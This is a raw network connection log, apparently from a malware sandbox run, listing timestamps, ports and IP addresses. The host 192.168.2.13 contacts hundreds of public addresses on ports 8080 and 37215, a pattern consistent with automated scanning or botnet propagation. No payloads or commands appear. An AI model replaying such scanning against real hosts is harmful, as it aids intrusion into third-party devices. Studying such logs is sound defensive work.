Feb 19, 2025 19:43:15.957247972 CET	26802	8080	192.168.2.13	94.178.50.229
Feb 19, 2025 19:43:15.957257032 CET	37215	27314	41.219.145.54	192.168.2.13
Feb 19, 2025 19:43:15.957262993 CET	26802	8080	192.168.2.13	62.211.235.250
Feb 19, 2025 19:43:15.957271099 CET	26802	8080	192.168.2.13	62.169.217.164
Feb 19, 2025 19:43:15.957273006 CET	26802	8080	192.168.2.13	62.166.150.154
Feb 19, 2025 19:43:15.957274914 CET	37215	27314	41.35.141.166	192.168.2.13
Feb 19, 2025 19:43:15.957281113 CET	27314	37215	192.168.2.13	41.149.130.238
Feb 19, 2025 19:43:15.957289934 CET	27314	37215	192.168.2.13	41.219.145.54
Feb 19, 2025 19:43:15.957293034 CET	37215	27314	41.179.145.95	192.168.2.13
Feb 19, 2025 19:43:15.957300901 CET	26802	8080	192.168.2.13	94.129.181.93
Feb 19, 2025 19:43:15.957304001 CET	27314	37215	192.168.2.13	41.35.141.166
Feb 19, 2025 19:43:15.957304955 CET	26802	8080	192.168.2.13	85.19.162.212
Feb 19, 2025 19:43:15.957307100 CET	37215	27314	41.251.91.84	192.168.2.13
Feb 19, 2025 19:43:15.957314968 CET	26802	8080	192.168.2.13	95.109.16.245
Feb 19, 2025 19:43:15.957315922 CET	26802	8080	192.168.2.13	85.117.154.237
Feb 19, 2025 19:43:15.957328081 CET	27314	37215	192.168.2.13	41.179.145.95
Feb 19, 2025 19:43:15.957333088 CET	37215	27314	41.169.197.93	192.168.2.13
Feb 19, 2025 19:43:15.957334995 CET	26802	8080	192.168.2.13	95.144.238.168
Feb 19, 2025 19:43:15.957336903 CET	27314	37215	192.168.2.13	41.251.91.84
Feb 19, 2025 19:43:15.957345009 CET	26802	8080	192.168.2.13	62.184.152.249
Feb 19, 2025 19:43:15.957350969 CET	37215	27314	41.114.111.67	192.168.2.13
Feb 19, 2025 19:43:15.957354069 CET	26802	8080	192.168.2.13	95.20.21.42
Feb 19, 2025 19:43:15.957357883 CET	26802	8080	192.168.2.13	94.88.229.249
Feb 19, 2025 19:43:15.957365990 CET	27314	37215	192.168.2.13	41.169.197.93
Feb 19, 2025 19:43:15.957365990 CET	26802	8080	192.168.2.13	94.46.167.16
Feb 19, 2025 19:43:15.957376003 CET	26802	8080	192.168.2.13	85.138.56.182
Feb 19, 2025 19:43:15.957376003 CET	27314	37215	192.168.2.13	41.114.111.67
Feb 19, 2025 19:43:15.957380056 CET	26802	8080	192.168.2.13	85.5.38.110
Feb 19, 2025 19:43:15.957384109 CET	26802	8080	192.168.2.13	85.70.218.64
Feb 19, 2025 19:43:15.957386971 CET	37215	27314	41.190.149.92	192.168.2.13
Feb 19, 2025 19:43:15.957393885 CET	26802	8080	192.168.2.13	85.220.173.251
Feb 19, 2025 19:43:15.957397938 CET	26802	8080	192.168.2.13	31.9.27.39
Feb 19, 2025 19:43:15.957400084 CET	37215	27314	41.2.72.136	192.168.2.13
Feb 19, 2025 19:43:15.957401037 CET	26802	8080	192.168.2.13	62.251.250.77
Feb 19, 2025 19:43:15.957411051 CET	26802	8080	192.168.2.13	95.254.183.85
Feb 19, 2025 19:43:15.957422018 CET	26802	8080	192.168.2.13	62.122.6.87
Feb 19, 2025 19:43:15.957422018 CET	27314	37215	192.168.2.13	41.190.149.92
Feb 19, 2025 19:43:15.957427979 CET	37215	27314	41.87.158.80	192.168.2.13
Feb 19, 2025 19:43:15.957428932 CET	26802	8080	192.168.2.13	31.224.230.23
Feb 19, 2025 19:43:15.957431078 CET	27314	37215	192.168.2.13	41.2.72.136
Feb 19, 2025 19:43:15.957438946 CET	26802	8080	192.168.2.13	94.135.203.166
Feb 19, 2025 19:43:15.957441092 CET	37215	27314	41.6.146.186	192.168.2.13
Feb 19, 2025 19:43:15.957442045 CET	26802	8080	192.168.2.13	85.164.75.64
Feb 19, 2025 19:43:15.957442045 CET	26802	8080	192.168.2.13	31.46.173.221
Feb 19, 2025 19:43:15.957442999 CET	26802	8080	192.168.2.13	62.152.94.138
Feb 19, 2025 19:43:15.957453012 CET	26802	8080	192.168.2.13	31.33.53.68
Feb 19, 2025 19:43:15.957454920 CET	26802	8080	192.168.2.13	95.16.104.174
Feb 19, 2025 19:43:15.957456112 CET	26802	8080	192.168.2.13	62.109.207.150
Feb 19, 2025 19:43:15.957456112 CET	27314	37215	192.168.2.13	41.87.158.80
Feb 19, 2025 19:43:15.957467079 CET	26802	8080	192.168.2.13	94.99.103.17
Feb 19, 2025 19:43:15.957468033 CET	37215	27314	41.34.14.64	192.168.2.13
Feb 19, 2025 19:43:15.957475901 CET	26802	8080	192.168.2.13	31.189.146.139
Feb 19, 2025 19:43:15.957482100 CET	27314	37215	192.168.2.13	41.6.146.186
Feb 19, 2025 19:43:15.957482100 CET	37215	27314	41.227.248.82	192.168.2.13
Feb 19, 2025 19:43:15.957485914 CET	26802	8080	192.168.2.13	85.245.50.208
Feb 19, 2025 19:43:15.957496881 CET	37215	27314	41.233.172.146	192.168.2.13
Feb 19, 2025 19:43:15.957504034 CET	27314	37215	192.168.2.13	41.34.14.64
Feb 19, 2025 19:43:15.957504034 CET	26802	8080	192.168.2.13	62.254.25.230
Feb 19, 2025 19:43:15.957513094 CET	37215	27314	41.236.138.100	192.168.2.13
Feb 19, 2025 19:43:15.957518101 CET	27314	37215	192.168.2.13	41.227.248.82
Feb 19, 2025 19:43:15.957530975 CET	27314	37215	192.168.2.13	41.233.172.146
Feb 19, 2025 19:43:15.957541943 CET	26802	8080	192.168.2.13	95.152.164.215
Feb 19, 2025 19:43:15.957541943 CET	26802	8080	192.168.2.13	94.34.109.170
Feb 19, 2025 19:43:15.957551003 CET	27314	37215	192.168.2.13	41.236.138.100
Feb 19, 2025 19:43:15.957551003 CET	26802	8080	192.168.2.13	85.169.253.13
Feb 19, 2025 19:43:15.957562923 CET	26802	8080	192.168.2.13	94.233.60.184
Feb 19, 2025 19:43:15.957564116 CET	26802	8080	192.168.2.13	31.34.71.167
Feb 19, 2025 19:43:15.957580090 CET	26802	8080	192.168.2.13	95.50.32.223
Feb 19, 2025 19:43:15.957581043 CET	26802	8080	192.168.2.13	95.203.62.27
Feb 19, 2025 19:43:15.957597017 CET	37215	27314	41.127.190.95	192.168.2.13
Feb 19, 2025 19:43:15.957611084 CET	26802	8080	192.168.2.13	95.185.93.245
Feb 19, 2025 19:43:15.957612038 CET	26802	8080	192.168.2.13	95.95.57.30
Feb 19, 2025 19:43:15.957631111 CET	26802	8080	192.168.2.13	62.198.21.203
Feb 19, 2025 19:43:15.957631111 CET	26802	8080	192.168.2.13	85.119.24.186
Feb 19, 2025 19:43:15.957636118 CET	27314	37215	192.168.2.13	41.127.190.95
Feb 19, 2025 19:43:15.957636118 CET	26802	8080	192.168.2.13	95.196.60.142
Feb 19, 2025 19:43:15.957642078 CET	26802	8080	192.168.2.13	62.96.87.231
Feb 19, 2025 19:43:15.957645893 CET	26802	8080	192.168.2.13	85.69.116.178
Feb 19, 2025 19:43:15.957650900 CET	26802	8080	192.168.2.13	95.177.135.110
Feb 19, 2025 19:43:15.957659960 CET	26802	8080	192.168.2.13	95.223.158.224
Feb 19, 2025 19:43:15.957659960 CET	26802	8080	192.168.2.13	95.250.217.241
Feb 19, 2025 19:43:15.957660913 CET	37215	27314	41.20.171.166	192.168.2.13
Feb 19, 2025 19:43:15.957669020 CET	26802	8080	192.168.2.13	95.134.86.15
Feb 19, 2025 19:43:15.957681894 CET	26802	8080	192.168.2.13	94.51.219.12
Feb 19, 2025 19:43:15.957681894 CET	26802	8080	192.168.2.13	62.138.53.74
Feb 19, 2025 19:43:15.957681894 CET	26802	8080	192.168.2.13	85.50.137.88
Feb 19, 2025 19:43:15.957681894 CET	26802	8080	192.168.2.13	95.171.13.5
Feb 19, 2025 19:43:15.957700968 CET	26802	8080	192.168.2.13	95.205.177.22
Feb 19, 2025 19:43:15.957700968 CET	26802	8080	192.168.2.13	85.181.112.33
Feb 19, 2025 19:43:15.957703114 CET	26802	8080	192.168.2.13	95.191.100.87
Feb 19, 2025 19:43:15.957703114 CET	27314	37215	192.168.2.13	41.20.171.166
Feb 19, 2025 19:43:15.957705021 CET	37215	27314	41.56.56.3	192.168.2.13
Feb 19, 2025 19:43:15.957705975 CET	26802	8080	192.168.2.13	31.26.159.200
Feb 19, 2025 19:43:15.957714081 CET	26802	8080	192.168.2.13	31.162.251.67
Feb 19, 2025 19:43:15.957729101 CET	26802	8080	192.168.2.13	85.9.89.82
Feb 19, 2025 19:43:15.957729101 CET	26802	8080	192.168.2.13	95.143.6.148
Feb 19, 2025 19:43:15.957729101 CET	26802	8080	192.168.2.13	94.6.12.243
Feb 19, 2025 19:43:15.957746983 CET	27314	37215	192.168.2.13	41.56.56.3
Feb 19, 2025 19:43:15.957746983 CET	26802	8080	192.168.2.13	94.196.91.155
Feb 19, 2025 19:43:15.957751036 CET	26802	8080	192.168.2.13	95.101.255.33
Feb 19, 2025 19:43:15.957751036 CET	26802	8080	192.168.2.13	31.90.23.255
Feb 19, 2025 19:43:15.957752943 CET	26802	8080	192.168.2.13	62.31.221.11
Feb 19, 2025 19:43:15.957753897 CET	26802	8080	192.168.2.13	85.83.255.66
Feb 19, 2025 19:43:15.957763910 CET	26802	8080	192.168.2.13	94.107.96.145
Feb 19, 2025 19:43:15.957776070 CET	26802	8080	192.168.2.13	94.172.59.94
Feb 19, 2025 19:43:15.957778931 CET	26802	8080	192.168.2.13	94.83.142.209
Feb 19, 2025 19:43:15.957778931 CET	37215	27314	41.119.83.158	192.168.2.13
Feb 19, 2025 19:43:15.957778931 CET	26802	8080	192.168.2.13	85.7.147.210
Feb 19, 2025 19:43:15.957787991 CET	26802	8080	192.168.2.13	85.158.35.31
Feb 19, 2025 19:43:15.957798958 CET	26802	8080	192.168.2.13	85.7.64.113
Feb 19, 2025 19:43:15.957798958 CET	26802	8080	192.168.2.13	85.218.212.227
Feb 19, 2025 19:43:15.957799911 CET	26802	8080	192.168.2.13	62.234.216.98
Feb 19, 2025 19:43:15.957803011 CET	37215	27314	41.225.117.212	192.168.2.13
Feb 19, 2025 19:43:15.957807064 CET	27314	37215	192.168.2.13	41.119.83.158
Feb 19, 2025 19:43:15.957819939 CET	26802	8080	192.168.2.13	31.83.232.189
Feb 19, 2025 19:43:15.957817078 CET	37215	27314	41.176.91.11	192.168.2.13
Feb 19, 2025 19:43:15.957819939 CET	26802	8080	192.168.2.13	31.232.244.105
Feb 19, 2025 19:43:15.957819939 CET	26802	8080	192.168.2.13	85.25.176.51
Feb 19, 2025 19:43:15.957828045 CET	26802	8080	192.168.2.13	31.44.89.252
Feb 19, 2025 19:43:15.957843065 CET	37215	27314	41.235.226.46	192.168.2.13
Feb 19, 2025 19:43:15.957844973 CET	26802	8080	192.168.2.13	94.250.47.250
Feb 19, 2025 19:43:15.957851887 CET	26802	8080	192.168.2.13	85.141.151.200
Feb 19, 2025 19:43:15.957851887 CET	27314	37215	192.168.2.13	41.176.91.11
Feb 19, 2025 19:43:15.957859039 CET	26802	8080	192.168.2.13	31.198.134.85
Feb 19, 2025 19:43:15.957859039 CET	27314	37215	192.168.2.13	41.225.117.212
Feb 19, 2025 19:43:15.957864046 CET	26802	8080	192.168.2.13	95.80.118.17
Feb 19, 2025 19:43:15.957876921 CET	27314	37215	192.168.2.13	41.235.226.46
Feb 19, 2025 19:43:15.957881927 CET	26802	8080	192.168.2.13	31.145.244.147
Feb 19, 2025 19:43:15.957881927 CET	26802	8080	192.168.2.13	62.126.130.8
Feb 19, 2025 19:43:15.957881927 CET	26802	8080	192.168.2.13	95.63.40.131
Feb 19, 2025 19:43:15.957895041 CET	26802	8080	192.168.2.13	85.12.249.153
Feb 19, 2025 19:43:15.957896948 CET	26802	8080	192.168.2.13	95.108.45.57
Feb 19, 2025 19:43:15.957901001 CET	26802	8080	192.168.2.13	62.44.12.95
Feb 19, 2025 19:43:15.957911015 CET	26802	8080	192.168.2.13	95.189.73.59
Feb 19, 2025 19:43:15.957926989 CET	26802	8080	192.168.2.13	94.175.54.232
Feb 19, 2025 19:43:15.957927942 CET	26802	8080	192.168.2.13	62.245.140.114
Feb 19, 2025 19:43:15.957931995 CET	26802	8080	192.168.2.13	94.196.133.18
Feb 19, 2025 19:43:15.957931042 CET	26802	8080	192.168.2.13	31.202.23.134
Feb 19, 2025 19:43:15.957931995 CET	26802	8080	192.168.2.13	94.203.182.240
Feb 19, 2025 19:43:15.957931042 CET	26802	8080	192.168.2.13	62.50.24.229
Feb 19, 2025 19:43:15.957931995 CET	26802	8080	192.168.2.13	62.216.54.117
Feb 19, 2025 19:43:15.957941055 CET	37215	27314	41.222.43.0	192.168.2.13
Feb 19, 2025 19:43:15.957943916 CET	26802	8080	192.168.2.13	95.69.186.66
Feb 19, 2025 19:43:15.957943916 CET	26802	8080	192.168.2.13	94.6.106.26
Feb 19, 2025 19:43:15.957956076 CET	37215	27314	41.156.191.155	192.168.2.13
Feb 19, 2025 19:43:15.957950115 CET	26802	8080	192.168.2.13	94.251.145.157
Feb 19, 2025 19:43:15.957961082 CET	26802	8080	192.168.2.13	94.56.9.19
Feb 19, 2025 19:43:15.957962990 CET	26802	8080	192.168.2.13	62.104.236.142
Feb 19, 2025 19:43:15.957967043 CET	27314	37215	192.168.2.13	41.222.43.0
Feb 19, 2025 19:43:15.957972050 CET	37215	27314	41.161.208.160	192.168.2.13
Feb 19, 2025 19:43:15.957978964 CET	26802	8080	192.168.2.13	85.45.194.245
Feb 19, 2025 19:43:15.957986116 CET	37215	27314	41.28.88.222	192.168.2.13
Feb 19, 2025 19:43:15.957998037 CET	27314	37215	192.168.2.13	41.156.191.155
Feb 19, 2025 19:43:15.957999945 CET	26802	8080	192.168.2.13	62.208.68.172
Feb 19, 2025 19:43:15.957999945 CET	26802	8080	192.168.2.13	94.149.244.168
Feb 19, 2025 19:43:15.958003998 CET	26802	8080	192.168.2.13	95.227.47.202
Feb 19, 2025 19:43:15.958003998 CET	27314	37215	192.168.2.13	41.161.208.160
Feb 19, 2025 19:43:15.958007097 CET	26802	8080	192.168.2.13	31.1.244.125
Feb 19, 2025 19:43:15.958010912 CET	37215	27314	41.79.26.198	192.168.2.13
Feb 19, 2025 19:43:15.958028078 CET	37215	27314	41.141.102.123	192.168.2.13
Feb 19, 2025 19:43:15.958036900 CET	26802	8080	192.168.2.13	62.234.191.125
Feb 19, 2025 19:43:15.958045006 CET	37215	27314	41.217.123.164	192.168.2.13
Feb 19, 2025 19:43:15.958045959 CET	26802	8080	192.168.2.13	31.11.208.180
Feb 19, 2025 19:43:15.958046913 CET	27314	37215	192.168.2.13	41.28.88.222
Feb 19, 2025 19:43:15.958045959 CET	27314	37215	192.168.2.13	41.79.26.198
Feb 19, 2025 19:43:15.958046913 CET	26802	8080	192.168.2.13	95.155.164.38
Feb 19, 2025 19:43:15.958055019 CET	26802	8080	192.168.2.13	85.42.99.158
Feb 19, 2025 19:43:15.958058119 CET	27314	37215	192.168.2.13	41.141.102.123
Feb 19, 2025 19:43:15.958061934 CET	26802	8080	192.168.2.13	31.124.111.80
Feb 19, 2025 19:43:15.958064079 CET	37215	27314	41.145.179.160	192.168.2.13
Feb 19, 2025 19:43:15.958071947 CET	26802	8080	192.168.2.13	31.99.177.141
Feb 19, 2025 19:43:15.958081007 CET	37215	27314	41.65.58.41	192.168.2.13
Feb 19, 2025 19:43:15.958086014 CET	26802	8080	192.168.2.13	85.71.20.114
Feb 19, 2025 19:43:15.958093882 CET	26802	8080	192.168.2.13	94.112.210.145
Feb 19, 2025 19:43:15.958100080 CET	27314	37215	192.168.2.13	41.217.123.164
Feb 19, 2025 19:43:15.958106041 CET	27314	37215	192.168.2.13	41.145.179.160
Feb 19, 2025 19:43:15.958106995 CET	26802	8080	192.168.2.13	62.84.197.113
Feb 19, 2025 19:43:15.958106995 CET	26802	8080	192.168.2.13	31.41.66.41
Feb 19, 2025 19:43:15.958112955 CET	27314	37215	192.168.2.13	41.65.58.41
Feb 19, 2025 19:43:15.958115101 CET	26802	8080	192.168.2.13	85.107.236.70
Feb 19, 2025 19:43:15.958126068 CET	37215	27314	41.223.11.79	192.168.2.13
Feb 19, 2025 19:43:15.958129883 CET	26802	8080	192.168.2.13	85.145.199.247
Feb 19, 2025 19:43:15.958134890 CET	26802	8080	192.168.2.13	94.126.132.72
Feb 19, 2025 19:43:15.958139896 CET	26802	8080	192.168.2.13	95.49.9.196
Feb 19, 2025 19:43:15.958147049 CET	26802	8080	192.168.2.13	62.135.165.92
Feb 19, 2025 19:43:15.958147049 CET	26802	8080	192.168.2.13	95.60.118.64
Feb 19, 2025 19:43:15.958147049 CET	26802	8080	192.168.2.13	62.123.30.213
Feb 19, 2025 19:43:15.958148956 CET	26802	8080	192.168.2.13	62.109.96.227
Feb 19, 2025 19:43:15.958162069 CET	37215	27314	41.97.246.77	192.168.2.13
Feb 19, 2025 19:43:15.958163977 CET	27314	37215	192.168.2.13	41.223.11.79
Feb 19, 2025 19:43:15.958175898 CET	37215	27314	41.85.215.126	192.168.2.13
Feb 19, 2025 19:43:15.958177090 CET	26802	8080	192.168.2.13	95.6.40.31
Feb 19, 2025 19:43:15.958184004 CET	26802	8080	192.168.2.13	95.240.76.190
Feb 19, 2025 19:43:15.958185911 CET	26802	8080	192.168.2.13	94.241.99.37
Feb 19, 2025 19:43:15.958185911 CET	26802	8080	192.168.2.13	94.205.3.25
Feb 19, 2025 19:43:15.958185911 CET	26802	8080	192.168.2.13	85.125.150.193
Feb 19, 2025 19:43:15.958190918 CET	27314	37215	192.168.2.13	41.97.246.77
Feb 19, 2025 19:43:15.958190918 CET	37215	27314	41.236.2.206	192.168.2.13
Feb 19, 2025 19:43:15.958193064 CET	26802	8080	192.168.2.13	85.79.90.253
Feb 19, 2025 19:43:15.958204985 CET	37215	27314	41.192.105.248	192.168.2.13
Feb 19, 2025 19:43:15.958216906 CET	26802	8080	192.168.2.13	62.22.211.198
Feb 19, 2025 19:43:15.958219051 CET	37215	27314	41.180.24.40	192.168.2.13
Feb 19, 2025 19:43:15.958220005 CET	26802	8080	192.168.2.13	85.95.17.165
Feb 19, 2025 19:43:15.958220005 CET	27314	37215	192.168.2.13	41.236.2.206
Feb 19, 2025 19:43:15.958224058 CET	27314	37215	192.168.2.13	41.85.215.126
Feb 19, 2025 19:43:15.958233118 CET	37215	27314	41.11.16.31	192.168.2.13
Feb 19, 2025 19:43:15.958233118 CET	26802	8080	192.168.2.13	85.28.101.185
Feb 19, 2025 19:43:15.958235979 CET	26802	8080	192.168.2.13	62.203.12.214
Feb 19, 2025 19:43:15.958235979 CET	26802	8080	192.168.2.13	95.249.13.16
Feb 19, 2025 19:43:15.958242893 CET	26802	8080	192.168.2.13	95.223.245.35
Feb 19, 2025 19:43:15.958244085 CET	27314	37215	192.168.2.13	41.192.105.248
Feb 19, 2025 19:43:15.958245039 CET	26802	8080	192.168.2.13	95.97.155.149
Feb 19, 2025 19:43:15.958247900 CET	27314	37215	192.168.2.13	41.180.24.40
Feb 19, 2025 19:43:15.958256960 CET	26802	8080	192.168.2.13	94.176.64.135
Feb 19, 2025 19:43:15.958259106 CET	27314	37215	192.168.2.13	41.11.16.31
Feb 19, 2025 19:43:15.958260059 CET	37215	27314	41.119.40.22	192.168.2.13
Feb 19, 2025 19:43:15.958261013 CET	26802	8080	192.168.2.13	94.206.153.53
Feb 19, 2025 19:43:15.958271027 CET	26802	8080	192.168.2.13	62.49.192.115
Feb 19, 2025 19:43:15.958276033 CET	26802	8080	192.168.2.13	62.90.12.240
Feb 19, 2025 19:43:15.958276033 CET	26802	8080	192.168.2.13	85.115.11.25
Feb 19, 2025 19:43:15.958286047 CET	26802	8080	192.168.2.13	94.211.78.8
Feb 19, 2025 19:43:15.958287001 CET	37215	27314	41.30.83.86	192.168.2.13
Feb 19, 2025 19:43:15.958301067 CET	26802	8080	192.168.2.13	85.84.88.0
Feb 19, 2025 19:43:15.958303928 CET	37215	27314	41.46.196.156	192.168.2.13
Feb 19, 2025 19:43:15.958307028 CET	26802	8080	192.168.2.13	94.158.60.14
Feb 19, 2025 19:43:15.958312988 CET	26802	8080	192.168.2.13	62.56.97.119
Feb 19, 2025 19:43:15.958317041 CET	27314	37215	192.168.2.13	41.119.40.22
Feb 19, 2025 19:43:15.958317041 CET	26802	8080	192.168.2.13	31.105.136.47
Feb 19, 2025 19:43:15.958321095 CET	27314	37215	192.168.2.13	41.30.83.86
Feb 19, 2025 19:43:15.958321095 CET	26802	8080	192.168.2.13	62.160.104.4
Feb 19, 2025 19:43:15.958323956 CET	26802	8080	192.168.2.13	31.24.72.239
Feb 19, 2025 19:43:15.958333969 CET	26802	8080	192.168.2.13	94.158.78.202
Feb 19, 2025 19:43:15.958333969 CET	26802	8080	192.168.2.13	85.147.154.192
Feb 19, 2025 19:43:15.958338022 CET	27314	37215	192.168.2.13	41.46.196.156
Feb 19, 2025 19:43:15.958345890 CET	26802	8080	192.168.2.13	31.39.103.50
Feb 19, 2025 19:43:15.958348989 CET	26802	8080	192.168.2.13	31.93.52.249
Feb 19, 2025 19:43:15.958334923 CET	26802	8080	192.168.2.13	62.250.4.100
Feb 19, 2025 19:43:15.958348989 CET	26802	8080	192.168.2.13	31.146.122.34
Feb 19, 2025 19:43:15.958353996 CET	26802	8080	192.168.2.13	85.159.68.37
Feb 19, 2025 19:43:15.958354950 CET	26802	8080	192.168.2.13	95.177.123.87
Feb 19, 2025 19:43:15.958354950 CET	26802	8080	192.168.2.13	95.157.56.88
Feb 19, 2025 19:43:15.958357096 CET	26802	8080	192.168.2.13	85.223.135.111
Feb 19, 2025 19:43:15.958364010 CET	26802	8080	192.168.2.13	31.246.108.89
Feb 19, 2025 19:43:15.958372116 CET	26802	8080	192.168.2.13	62.241.96.131
Feb 19, 2025 19:43:15.958373070 CET	26802	8080	192.168.2.13	62.48.3.156
Feb 19, 2025 19:43:15.958372116 CET	26802	8080	192.168.2.13	94.177.57.25
Feb 19, 2025 19:43:15.958378077 CET	26802	8080	192.168.2.13	62.155.82.224
Feb 19, 2025 19:43:15.958379030 CET	26802	8080	192.168.2.13	31.54.17.34
Feb 19, 2025 19:43:15.958379030 CET	26802	8080	192.168.2.13	95.9.233.47
Feb 19, 2025 19:43:15.958389997 CET	26802	8080	192.168.2.13	31.211.47.242
Feb 19, 2025 19:43:15.958400965 CET	26802	8080	192.168.2.13	85.195.154.202
Feb 19, 2025 19:43:15.958400965 CET	26802	8080	192.168.2.13	94.72.153.191
Feb 19, 2025 19:43:15.958405972 CET	26802	8080	192.168.2.13	62.116.156.87
Feb 19, 2025 19:43:15.958405972 CET	26802	8080	192.168.2.13	85.230.5.199
Feb 19, 2025 19:43:15.958416939 CET	26802	8080	192.168.2.13	85.248.80.210
Feb 19, 2025 19:43:15.958419085 CET	26802	8080	192.168.2.13	62.131.217.116
Feb 19, 2025 19:43:15.958429098 CET	26802	8080	192.168.2.13	85.137.43.212
Feb 19, 2025 19:43:15.958427906 CET	26802	8080	192.168.2.13	62.175.99.43
Feb 19, 2025 19:43:15.958440065 CET	26802	8080	192.168.2.13	94.158.208.113
Feb 19, 2025 19:43:15.958440065 CET	26802	8080	192.168.2.13	31.100.210.7
Feb 19, 2025 19:43:15.958447933 CET	26802	8080	192.168.2.13	94.180.67.199
Feb 19, 2025 19:43:15.958465099 CET	26802	8080	192.168.2.13	95.9.33.179
Feb 19, 2025 19:43:15.958476067 CET	26802	8080	192.168.2.13	31.238.168.215
Feb 19, 2025 19:43:15.958477020 CET	26802	8080	192.168.2.13	94.125.149.232
Feb 19, 2025 19:43:15.958483934 CET	37215	27314	41.113.159.219	192.168.2.13
Feb 19, 2025 19:43:15.958492994 CET	26802	8080	192.168.2.13	95.100.169.13
Feb 19, 2025 19:43:15.958494902 CET	26802	8080	192.168.2.13	85.47.244.229
Feb 19, 2025 19:43:15.958502054 CET	37215	27314	41.2.104.204	192.168.2.13
Feb 19, 2025 19:43:15.958506107 CET	26802	8080	192.168.2.13	85.39.50.88
Feb 19, 2025 19:43:15.958507061 CET	26802	8080	192.168.2.13	94.8.178.216
Feb 19, 2025 19:43:15.958507061 CET	26802	8080	192.168.2.13	31.243.190.121
Feb 19, 2025 19:43:15.958519936 CET	37215	27314	41.43.155.121	192.168.2.13
Feb 19, 2025 19:43:15.958523035 CET	26802	8080	192.168.2.13	85.99.61.66
Feb 19, 2025 19:43:15.958523035 CET	27314	37215	192.168.2.13	41.113.159.219
Feb 19, 2025 19:43:15.958523989 CET	26802	8080	192.168.2.13	62.150.121.205
Feb 19, 2025 19:43:15.958529949 CET	27314	37215	192.168.2.13	41.2.104.204
Feb 19, 2025 19:43:15.958538055 CET	37215	27314	41.16.131.145	192.168.2.13
Feb 19, 2025 19:43:15.958549976 CET	26802	8080	192.168.2.13	94.150.68.207
Feb 19, 2025 19:43:15.958554029 CET	26802	8080	192.168.2.13	85.100.74.178
Feb 19, 2025 19:43:15.958554029 CET	27314	37215	192.168.2.13	41.43.155.121
Feb 19, 2025 19:43:15.958563089 CET	26802	8080	192.168.2.13	31.88.228.204
Feb 19, 2025 19:43:15.958570957 CET	27314	37215	192.168.2.13	41.16.131.145
Feb 19, 2025 19:43:15.958580017 CET	26802	8080	192.168.2.13	31.186.72.168
Feb 19, 2025 19:43:15.958564997 CET	26802	8080	192.168.2.13	62.105.8.48
Feb 19, 2025 19:43:15.958585024 CET	26802	8080	192.168.2.13	31.65.179.220
Feb 19, 2025 19:43:15.958597898 CET	26802	8080	192.168.2.13	94.132.20.53
Feb 19, 2025 19:43:15.958602905 CET	26802	8080	192.168.2.13	94.38.102.61
Feb 19, 2025 19:43:15.958606005 CET	26802	8080	192.168.2.13	31.178.85.224
Feb 19, 2025 19:43:15.958606958 CET	26802	8080	192.168.2.13	94.229.32.81
Feb 19, 2025 19:43:15.958617926 CET	26802	8080	192.168.2.13	85.34.12.11
Feb 19, 2025 19:43:15.958621025 CET	37215	27314	41.36.29.150	192.168.2.13
Feb 19, 2025 19:43:15.958626032 CET	26802	8080	192.168.2.13	31.237.173.18
Feb 19, 2025 19:43:15.958627939 CET	26802	8080	192.168.2.13	94.50.32.135
Feb 19, 2025 19:43:15.958630085 CET	26802	8080	192.168.2.13	95.81.220.24
Feb 19, 2025 19:43:15.958637953 CET	26802	8080	192.168.2.13	95.84.120.212
Feb 19, 2025 19:43:15.958646059 CET	26802	8080	192.168.2.13	94.255.239.161
Feb 19, 2025 19:43:15.958653927 CET	27314	37215	192.168.2.13	41.36.29.150
Feb 19, 2025 19:43:15.958657980 CET	26802	8080	192.168.2.13	95.53.51.206
Feb 19, 2025 19:43:15.958662987 CET	37215	27314	41.104.131.128	192.168.2.13
Feb 19, 2025 19:43:15.958664894 CET	26802	8080	192.168.2.13	85.47.212.21
Feb 19, 2025 19:43:15.958672047 CET	26802	8080	192.168.2.13	94.190.224.83
Feb 19, 2025 19:43:15.958677053 CET	37215	27314	41.99.158.124	192.168.2.13
Feb 19, 2025 19:43:15.958681107 CET	26802	8080	192.168.2.13	85.91.154.11
Feb 19, 2025 19:43:15.958681107 CET	26802	8080	192.168.2.13	85.20.184.182
Feb 19, 2025 19:43:15.958686113 CET	26802	8080	192.168.2.13	62.133.70.193
Feb 19, 2025 19:43:15.958692074 CET	37215	27314	41.100.123.121	192.168.2.13
Feb 19, 2025 19:43:15.958694935 CET	27314	37215	192.168.2.13	41.104.131.128
Feb 19, 2025 19:43:15.958697081 CET	26802	8080	192.168.2.13	62.117.48.155
Feb 19, 2025 19:43:15.958705902 CET	37215	27314	41.139.71.227	192.168.2.13
Feb 19, 2025 19:43:15.958712101 CET	26802	8080	192.168.2.13	31.117.36.14
Feb 19, 2025 19:43:15.958713055 CET	26802	8080	192.168.2.13	94.158.167.6
Feb 19, 2025 19:43:15.958714962 CET	27314	37215	192.168.2.13	41.99.158.124
Feb 19, 2025 19:43:15.958719015 CET	37215	27314	41.4.161.147	192.168.2.13
Feb 19, 2025 19:43:15.958723068 CET	26802	8080	192.168.2.13	85.188.189.50
Feb 19, 2025 19:43:15.958724976 CET	27314	37215	192.168.2.13	41.100.123.121
Feb 19, 2025 19:43:15.958725929 CET	26802	8080	192.168.2.13	85.190.57.3
Feb 19, 2025 19:43:15.958734035 CET	37215	27314	41.32.191.73	192.168.2.13
Feb 19, 2025 19:43:15.958748102 CET	27314	37215	192.168.2.13	41.4.161.147
Feb 19, 2025 19:43:15.958754063 CET	27314	37215	192.168.2.13	41.139.71.227
Feb 19, 2025 19:43:15.958756924 CET	37215	27314	41.164.147.143	192.168.2.13
Feb 19, 2025 19:43:15.958765030 CET	27314	37215	192.168.2.13	41.32.191.73
Feb 19, 2025 19:43:15.958770990 CET	37215	27314	41.45.167.168	192.168.2.13
Feb 19, 2025 19:43:15.958781958 CET	27314	37215	192.168.2.13	41.164.147.143
Feb 19, 2025 19:43:15.958795071 CET	37215	27314	41.118.252.79	192.168.2.13
Feb 19, 2025 19:43:15.958805084 CET	27314	37215	192.168.2.13	41.45.167.168
Feb 19, 2025 19:43:15.958806992 CET	26802	8080	192.168.2.13	85.38.205.96
Feb 19, 2025 19:43:15.958811998 CET	26802	8080	192.168.2.13	85.67.4.122
Feb 19, 2025 19:43:15.958822012 CET	26802	8080	192.168.2.13	95.144.111.179
Feb 19, 2025 19:43:15.958825111 CET	37215	27314	41.165.158.129	192.168.2.13
Feb 19, 2025 19:43:15.958831072 CET	27314	37215	192.168.2.13	41.118.252.79
Feb 19, 2025 19:43:15.958839893 CET	26802	8080	192.168.2.13	62.31.64.203
Feb 19, 2025 19:43:15.958841085 CET	26802	8080	192.168.2.13	94.206.145.69
Feb 19, 2025 19:43:15.958842993 CET	26802	8080	192.168.2.13	94.128.101.177
